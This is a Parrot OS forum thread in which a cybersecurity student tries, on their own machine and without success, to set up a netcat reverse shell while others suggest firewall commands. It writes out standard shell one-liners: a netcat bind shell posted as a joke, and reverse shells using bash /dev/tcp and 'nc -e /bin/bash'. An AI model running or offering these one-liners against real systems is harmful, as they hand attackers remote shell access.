Briefly describe your issue below:
Just want to open a port.
What version of Parrot are you running? (include version (e.g. 4.6), edition(e.g. Home//KDE/OVA, etc.), and architecture (currently we only support amd64)
5.3.0-3parrot3-amd64 #1 SMP Parrot 5.3.9-3parrot3 (2019-11-23) x86_64 GNU/Linux
What method did you use to install Parrot? (Debian Standard / Debian GTK / parrot-experimental)
Debian Standard
Configured to multiboot with other systems? (yes / no)
no
List your networking hardware (make, model, firmware version):
3:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06)
If there are any similar issues or solutions, link to them below:
If there are any error messages or relevant logs, post them below:
What do you mean by “open a port”?
Are you trying to unblock a firewall port on your local machine… start a server on a specific port… use netcat?
You need to be more specific in your questions. Details, details, details.
dmknght
(Nông Hoàng Tú)
May 5, 2020, 8:14pm
3
sudo nc -e /bin/bash -nvlp 13337
=)))
I am trying to use netcat. I am studying cybersecurity, and I want to see if I can create a reverse shell.
SuperX
(SuperX)
May 7, 2020, 8:54am
5
sudo -i; ufw
ufw allow (port)/tcp
ufw allow (port)/udp
I did not have ufw on the system, so I installed it. Gave it a try, but did not seem to work.
#ufw allow 8888/tcp
Rules updated
Rules updated (v6)
#nmap 192.168.0.119
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 11:54 MDT
Nmap scan report for fir (127.0.1.1)
Host is up (0.00011s latency).
rDNS record for 127.0.1.1: myserver
PORT STATE SERVICE
8888/tcp closed sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
#bash -i >& /dev/tcp/192.168.0.119/8888 0> $1
bash: connect: Connection refused
bash: /dev/tcp/192.168.0.119/8888: Connection refused
#nc -e /bin/bash 192.168.0.119 8888
[127.0.1.1] 8888 (?) : Connection refused
#nc -e /bin/bash 13337
no port[s] to connect to
# ufw allow 13337/tcp
Rules updated
Rules updated (v6)
#nc -e /bin/bash 13337
no port[s] to connect to
SuperX
(SuperX)
May 7, 2020, 11:51pm
8
as i know every local port is open no need to try to open it
if that didn’t work with you just stop it and try to install gufw
i used to use it to open my ports on kali linux
you can check this link:
https://youtu.be/kQIDko_XsxE
I have not got it to work yet.
muroga
May 18, 2020, 10:49pm
11
man netcat
You need a machine to listen and a machine to connect to. Also you can just turn ufw off, it really just gets in the way of whole thing here.
system
(system)
Closed
September 15, 2020, 10:49pm
12
This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.